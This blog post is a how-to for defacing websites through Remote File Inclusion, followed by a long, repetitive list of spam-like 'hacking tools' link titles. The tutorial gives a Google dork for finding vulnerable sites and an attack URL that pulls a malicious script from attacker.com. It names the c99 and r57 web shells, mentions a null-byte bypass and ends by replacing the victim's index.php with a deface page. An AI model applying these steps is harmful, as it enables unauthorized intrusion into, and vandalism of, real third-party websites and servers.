hot info

Thursday, May 25, 2023

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.
RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.
As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.
inurl: "index.php?page=home"
At the place of home, you can also try some other pages like products, gallery and etc.
If you already a know RFI vulnerable website, then you don't need to find it through Google.
Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.
http://target.com/index.php?page=home
As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.
http://target.com/index.php?page=http://attacker.com/maliciousScript.txt
I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.
Now, if it's a really vulnerable website, then there would be 3 things that can happen.
  1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
  2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
  3. Successful execution.
As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.
Related links
  1. Best Hacking Tools 2020
  2. Pentest Tools List
  3. Hacking Tools For Windows 7
  4. Hacker Security Tools
  5. Install Pentest Tools Ubuntu
  6. Hack Tools For Games
  7. Hacker Tools Software
  8. Hacker Tools Online
  9. Hack Website Online Tool
  10. Hack Website Online Tool
  11. Pentest Automation Tools
  12. Beginner Hacker Tools
  13. Hacker
  14. Hak5 Tools
  15. Nsa Hack Tools Download
  16. Install Pentest Tools Ubuntu
  17. Pentest Tools For Ubuntu
  18. Hacker Tools Linux
  19. Nsa Hack Tools
  20. Pentest Tools Download
  21. Pentest Tools Bluekeep
  22. Top Pentest Tools
  23. Hacks And Tools
  24. Usb Pentest Tools
  25. Hacking Tools Windows 10
  26. Pentest Tools Url Fuzzer
  27. Hacking Tools 2019
  28. Hack Tools
  29. Best Hacking Tools 2019
  30. Hacker Tools Software
  31. Pentest Tools Apk
  32. Hacker Tools List
  33. Hacking Tools For Mac
  34. Hack Tools
  35. Pentest Tools Review
  36. Pentest Tools Github
  37. Best Hacking Tools 2020
  38. Nsa Hack Tools Download
  39. Hacking Tools Download
  40. Pentest Box Tools Download
  41. Blackhat Hacker Tools
  42. Usb Pentest Tools
  43. New Hack Tools
  44. Termux Hacking Tools 2019
  45. Pentest Tools For Ubuntu
  46. Pentest Tools For Ubuntu
  47. Hack Tool Apk
  48. Nsa Hack Tools Download
  49. Easy Hack Tools
  50. Hacking Tools Mac
  51. Hack Tool Apk No Root
  52. Hacking Tools Usb
  53. Beginner Hacker Tools
  54. Pentest Tools Nmap
  55. Hacking Tools Download
  56. Hack Tool Apk No Root
  57. Pentest Tools For Mac
  58. Nsa Hack Tools Download
  59. Hacking Tools Software
  60. Hacking Tools 2020
  61. Pentest Tools Kali Linux
  62. New Hacker Tools
  63. Beginner Hacker Tools
  64. Pentest Tools Free
  65. Pentest Tools
  66. Nsa Hacker Tools
  67. What Is Hacking Tools
  68. Game Hacking
  69. Hacking Tools For Pc
  70. Hacker Tools 2020
  71. Best Hacking Tools 2020
  72. Hacker Tools 2020
  73. Hack Tool Apk
  74. Hacker Tools For Pc
  75. What Are Hacking Tools
  76. Hacker Tools Mac
  77. Hacker Tools Linux
  78. Hacking Tools For Windows
  79. Hacking Apps
  80. Hack Tools Download
  81. New Hacker Tools
  82. Pentest Tools Windows
  83. Hacker Tools For Pc
  84. Hacking Tools Hardware
  85. Hacking Tools Mac
  86. Physical Pentest Tools
  87. Physical Pentest Tools
  88. Hacking Apps
  89. Hacker Tools 2019
  90. Pentest Automation Tools
  91. Pentest Tools Url Fuzzer
  92. Hacker Tools Mac
  93. Pentest Tools For Mac
  94. Nsa Hack Tools Download
  95. Hacking Tools For Windows 7
  96. Ethical Hacker Tools
  97. Hack Tool Apk
  98. Pentest Tools For Windows
  99. Pentest Tools Framework
  100. Computer Hacker
  101. Install Pentest Tools Ubuntu
  102. World No 1 Hacker Software
  103. Pentest Tools Bluekeep
  104. Hacker
  105. Underground Hacker Sites
  106. Top Pentest Tools
  107. Best Hacking Tools 2019
  108. Hacker Tools Windows
  109. Hacking Tools Hardware
  110. Computer Hacker
  111. Hacking Tools For Mac
  112. Hack Tools 2019
  113. Best Hacking Tools 2020
  114. Hack Rom Tools
  115. Hack Website Online Tool
  116. Hacker Tools For Pc
  117. Hack Tools Download
  118. Hacker Security Tools
  119. Computer Hacker
  120. Hack Tools 2019
  121. Pentest Tools For Ubuntu
  122. Hack Tools
  123. Hacker Tools For Windows
  124. Hacker
  125. Pentest Tools Android
  126. Hack Tools Pc
  127. Pentest Tools List
  128. Nsa Hack Tools
  129. Pentest Tools Tcp Port Scanner
  130. Install Pentest Tools Ubuntu
  131. Hack Tools Download
  132. Pentest Reporting Tools
  133. Hack Tools Download
  134. Hacking Tools
  135. Hack Tools Download
  136. Pentest Tools Open Source
  137. Hack Tool Apk
  138. Hacker Tools Apk
  139. World No 1 Hacker Software
  140. Hack Tools For Ubuntu
  141. Hacker Search Tools
  142. Hackrf Tools
  143. Pentest Tools Free
  144. Blackhat Hacker Tools
  145. Pentest Tools Nmap
  146. Pentest Reporting Tools
  147. Hacking Tools Windows
  148. Pentest Tools For Ubuntu
  149. Termux Hacking Tools 2019
  150. What Is Hacking Tools
  151. Termux Hacking Tools 2019
  152. Pentest Tools Subdomain
  153. Hacker Tools 2019
  154. Hacker Tools Linux
  155. Tools For Hacker
  156. Free Pentest Tools For Windows
  157. Hack Apps
  158. What Are Hacking Tools
  159. Hacker Tools For Mac
  160. Tools Used For Hacking
  161. Hacker Tools Hardware
  162. Hacker Search Tools
  163. Hacker Tools Free Download
  164. Pentest Tools Port Scanner
  165. Pentest Tools For Ubuntu
  166. Hack Tools Pc
  167. Hacker Tools For Windows
  168. Hackrf Tools

No comments:

Post a Comment